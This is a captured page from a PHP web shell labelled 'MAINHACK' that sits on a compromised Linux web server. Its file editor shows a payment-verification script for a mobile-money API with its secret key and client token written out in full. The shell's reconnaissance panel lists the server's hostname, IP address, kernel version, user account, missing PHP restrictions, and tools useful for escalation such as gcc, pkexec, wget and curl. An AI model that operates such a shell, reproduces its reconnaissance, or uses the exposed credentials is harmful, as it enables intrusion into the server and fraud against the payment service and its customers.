[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: verify_this.php
<?php header("Content-Type: application/json"); date_default_timezone_set('UTC'); $exttrid = $_GET['exttrid'] ?? null; if (!$exttrid) { http_response_code(400); echo json_encode(["error" => "Missing exttrid"]); exit; } // TODO: MOVE these to env vars and ROTATE them since they were posted publicly $secret_key = "dXYiHBO7YhvKMtq/MDhLMHTEDwF6U0EcpMPe7jjLwWsej+t+L5FwvJ3u+OR84IIAu6w2QOp6bMghhVDQ6iJF+A=="; $Client_Token = "Cb1FP/Qi5dTSviC9Les9ckO+H7y/CJFBlL9gP7nnvTsb38V8rAmNCPtbxDXAnavgU9m4t6fy9JrECM1UmIhCig=="; $service_id = "4788"; $url = "https://orchard-api.anmgw.com/checkTransaction"; // Build the EXACT payload required by AppsNmobile for status check $payload = [ "exttrid" => $exttrid, "trans_type" => "CTM", "service_id" => $service_id ]; // Encode ONCE and sign THIS EXACT string $payload_json = json_encode($payload, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); // HMAC-SHA256 as lowercase hex (hash_hmac default) over the JSON string $signature = hash_hmac('SHA256', $payload_json, $secret_key); // Required headers $headers = [ "Authorization: {$Client_Token}:{$signature}", "Content-Type: application/json" ]; // cURL request $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_HTTPHEADER => $headers, CURLOPT_POSTFIELDS => $payload_json, CURLOPT_TIMEOUT => 30, ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $err = curl_error($ch); curl_close($ch); // Handle response if ($err) { echo json_encode(["error" => "curl_error", "detail" => $err]); exit; } $data = json_decode($response, true); // Normalize to your front-end’s expectation: { status: "SUCCESS" | "FAILED" | "PENDING" } $status = "PENDING"; if (is_array($data)) { $msg = isset($data["message"]) ? strtoupper($data["message"]) : ""; // Adjust these heuristics to match the exact fields AppsNmobile returns to you if ($msg === "SUCCESSFUL" || $msg === "SUCCESS") { $status = "SUCCESS"; } elseif (strpos($msg, "FAIL") !== false || $msg === "FAILED") { $status = "FAILED"; } } echo json_encode([ "http" => $httpCode, "status" => $status, "raw" => $data ]);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002